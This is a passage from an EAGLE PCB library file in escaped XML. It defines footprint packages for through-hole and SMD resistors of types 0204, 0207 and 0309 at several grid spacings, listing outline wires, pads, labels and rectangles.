x1=\"-4.473\" y1=\"1.483\" x2=\"4.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"4.473\" y1=\"-1.483\" x2=\"-4.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-4.473\" y1=\"-1.483\" x2=\"-4.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"4.473\" y1=\"1.483\" x2=\"4.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.413\" y1=\"1.1684\" x2=\"-2.4384\" y2=\"1.1684\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.413\" y1=\"-1.1684\" x2=\"-2.413\" y2=\"-1.1684\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-2.85\" y=\"0\" dx=\"1.5\" dy=\"2.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.85\" y=\"0\" dx=\"1.5\" dy=\"2.6\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.048\" y1=\"-1.2446\" x2=\"-2.3876\" y2=\"1.2446\" layer=\"51\"/>\n<rectangle x1=\"2.3876\" y1=\"-1.2446\" x2=\"3.048\" y2=\"1.2446\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"0204/5\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0204, grid 5 mm</description>\n<wire x1=\"2.54\" y1=\"0\" x2=\"2.032\" y2=\"0\" width=\"0.508\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-2.032\" y2=\"0\" width=\"0.508\" layer=\"51\"/>\n<wire x1=\"-1.778\" y1=\"0.635\" x2=\"-1.524\" y2=\"0.889\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.778\" y1=\"-0.635\" x2=\"-1.524\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"1.524\" y1=\"-0.889\" x2=\"1.778\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"1.524\" y1=\"0.889\" x2=\"1.778\" y2=\"0.635\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.778\" y1=\"-0.635\" x2=\"-1.778\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.524\" y1=\"0.889\" x2=\"-1.27\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.143\" y1=\"0.762\" x2=\"-1.27\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.524\" y1=\"-0.889\" x2=\"-1.27\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.143\" y1=\"-0.762\" x2=\"-1.27\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.143\" y1=\"0.762\" x2=\"1.27\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.143\" y1=\"0.762\" x2=\"-1.143\" y2=\"0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.143\" y1=\"-0.762\" x2=\"1.27\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.143\" y1=\"-0.762\" x2=\"-1.143\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.524\" y1=\"0.889\" x2=\"1.27\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.524\" y1=\"-0.889\" x2=\"1.27\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"-0.635\" x2=\"1.778\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.0066\" y=\"1.1684\" size=\"0.9906\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.1336\" y=\"-2.3114\" size=\"0.9906\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-2.032\" y1=\"-0.254\" x2=\"-1.778\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"1.778\" y1=\"-0.254\" x2=\"2.032\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"0204/7\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0204, grid 7.5 mm</description>\n<wire x1=\"3.81\" y1=\"0\" x2=\"2.921\" y2=\"0\" width=\"0.508\" layer=\"51\"/>\n<wire x1=\"-3.81\" y1=\"0\" x2=\"-2.921\" y2=\"0\" width=\"0.508\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"0.762\" x2=\"-2.286\" y2=\"1.016\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.54\" y1=\"-0.762\" x2=\"-2.286\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.286\" y1=\"-1.016\" x2=\"2.54\" y2=\"-0.762\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.286\" y1=\"1.016\" x2=\"2.54\" y2=\"0.762\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.54\" y1=\"-0.762\" x2=\"-2.54\" y2=\"0.762\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"1.016\" x2=\"-1.905\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.778\" y1=\"0.889\" x2=\"-1.905\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"-1.016\" x2=\"-1.905\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.778\" y1=\"-0.889\" x2=\"-1.905\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"0.889\" x2=\"1.905\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"0.889\" x2=\"-1.778\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"-0.889\" x2=\"1.905\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.778\" y1=\"-0.889\" x2=\"-1.778\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.286\" y1=\"1.016\" x2=\"1.905\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.286\" y1=\"-1.016\" x2=\"1.905\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-0.762\" x2=\"2.54\" y2=\"0.762\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.54\" y=\"1.2954\" size=\"0.9906\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.6256\" y=\"-0.4826\" size=\"0.9906\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"2.54\" y1=\"-0.254\" x2=\"2.921\" y2=\"0.254\" layer=\"21\"/>\n<rectangle x1=\"-2.921\" y1=\"-0.254\" x2=\"-2.54\" y2=\"0.254\" layer=\"21\"/>\n</package>\n<package name=\"0207/10\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 10 mm</description>\n<wire x1=\"5.08\" y1=\"0\" x2=\"4.064\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-4.064\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-3.175\" y1=\"0.889\" x2=\"-2.921\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-2.921\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"3.175\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"1.143\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"-1.143\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-1.016\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"-2.413\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"-2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-0.889\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"5.08\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.048\" y=\"1.524\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.2606\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"3.175\" y1=\"-0.3048\" x2=\"4.0386\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-4.0386\" y1=\"-0.3048\" x2=\"-3.175\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"0207/12\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 12 mm</description>\n<wire x1=\"6.35\" y1=\"0\" x2=\"5.334\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-6.35\" y1=\"0\" x2=\"-5.334\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-3.175\" y1=\"0.889\" x2=\"-2.921\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-2.921\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"3.175\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"1.143\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"-1.143\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-1.016\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"-2.413\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"-2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-0.889\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"0\" x2=\"4.064\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"-4.445\" y1=\"0\" x2=\"-4.064\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"6.35\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.175\" y=\"1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-0.6858\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"3.175\" y1=\"-0.3048\" x2=\"4.0386\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-4.0386\" y1=\"-0.3048\" x2=\"-3.175\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"4.445\" y1=\"-0.3048\" x2=\"5.3086\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-5.3086\" y1=\"-0.3048\" x2=\"-4.445\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"0207/15\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 15mm</description>\n<wire x1=\"7.62\" y1=\"0\" x2=\"6.604\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-6.604\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-3.175\" y1=\"0.889\" x2=\"-2.921\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-2.921\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"3.175\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"1.143\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"-1.143\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-1.016\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"-2.413\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"-2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-0.889\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"0\" x2=\"4.064\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"-5.715\" y1=\"0\" x2=\"-4.064\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.62\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.175\" y=\"1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-0.6858\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"3.175\" y1=\"-0.3048\" x2=\"4.0386\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-4.0386\" y1=\"-0.3048\" x2=\"-3.175\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"5.715\" y1=\"-0.3048\" x2=\"6.5786\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-6.5786\" y1=\"-0.3048\" x2=\"-5.715\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"0207/2V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 2.5 mm</description>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-0.381\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"0.254\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"1.27\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-0.0508\" y=\"1.016\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.0508\" y=\"-2.2352\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"0207/5V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 5 mm</description>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-0.889\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-0.762\" y1=\"0\" x2=\"0.762\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"0.889\" y1=\"0\" x2=\"2.54\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.27\" width=\"0.1016\" layer=\"21\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-1.143\" y=\"0.889\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.143\" y=\"-2.159\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"0207/7\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 7.5 mm</description>\n<wire x1=\"-3.81\" y1=\"0\" x2=\"-3.429\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-3.175\" y1=\"0.889\" x2=\"-2.921\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-2.921\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"3.175\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.921\" y1=\"1.143\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"-1.143\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-1.016\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"-2.413\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"-2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-0.889\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.429\" y1=\"0\" x2=\"3.81\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.54\" y=\"1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-0.5588\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-3.429\" y1=\"-0.3048\" x2=\"-3.175\" y2=\"0.3048\" layer=\"51\"/>\n<rectangle x1=\"3.175\" y1=\"-0.3048\" x2=\"3.429\" y2=\"0.3048\" layer=\"51\"/>\n</package>\n<package name=\"0309/10\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0309, grid 10mm</description>\n<wire x1=\"-4.699\" y1=\"0\" x2=\"-5.08\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-4.318\" y1=\"1.27\" x2=\"-4.064\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.318\" y1=\"-1.27\" x2=\"-4.064\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.064\" y1=\"-1.524\" x2=\"4.318\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.064\" y1=\"1.524\" x2=\"4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.318\" y1=\"-1.27\" x2=\"-4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.064\" y1=\"1.524\" x2=\"-3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.302\" y1=\"1.397\" x2=\"-3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.064\" y1=\"-1.524\" x2=\"-3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.302\" y1=\"-1.397\" x2=\"-3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"1.397\" x2=\"3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"1.397\" x2=\"-3.302\" y2=\"1.397\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"-1.397\" x2=\"3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"-1.397\" x2=\"-3.302\" y2=\"-1.397\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.064\" y1=\"1.524\" x2=\"3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.064\" y1=\"-1.524\" x2=\"3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.318\" y1=\"-1.27\" x2=\"4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"0\" x2=\"4.699\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"5.08\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-4.191\" y=\"1.905\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-0.6858\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-4.6228\" y1=\"-0.3048\" x2=\"-4.318\" y2=\"0.3048\" layer=\"51\"/>\n<rectangle x1=\"4.318\" y1=\"-0.3048\" x2=\"4.6228\" y2=\"0.3048\" layer=\"51\"/>\n</package>\n<package name=\"0309/12\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0309, grid 12.5 mm</description>\n<wire x1=\"6.35\" y1=\"0\" x2=\"5.08\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-6.35\" y1=\"0\" x2=\"-5.08\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-4.318\" y1=\"1.27\" x2=\"-4.064\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.318\" y1=\"-1.27\" x2=\"-4.064\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.064\" y1=\"-1.524\" x2=\"4.318\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.064\" y1=\"1.524\" x2=\"4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.318\" y1=\"-1.27\" x2=\"-4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.064\" y1=\"1.524\" x2=\"-3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.302\" y1=\"1.397\" x2=\"-3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.064\" y1=\"-1.524\" x2=\"-3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.302\" y1=\"-1.397\" x2=\"-3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"1.397\" x2=\"3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"1.397\" x2=\"-3.302\" 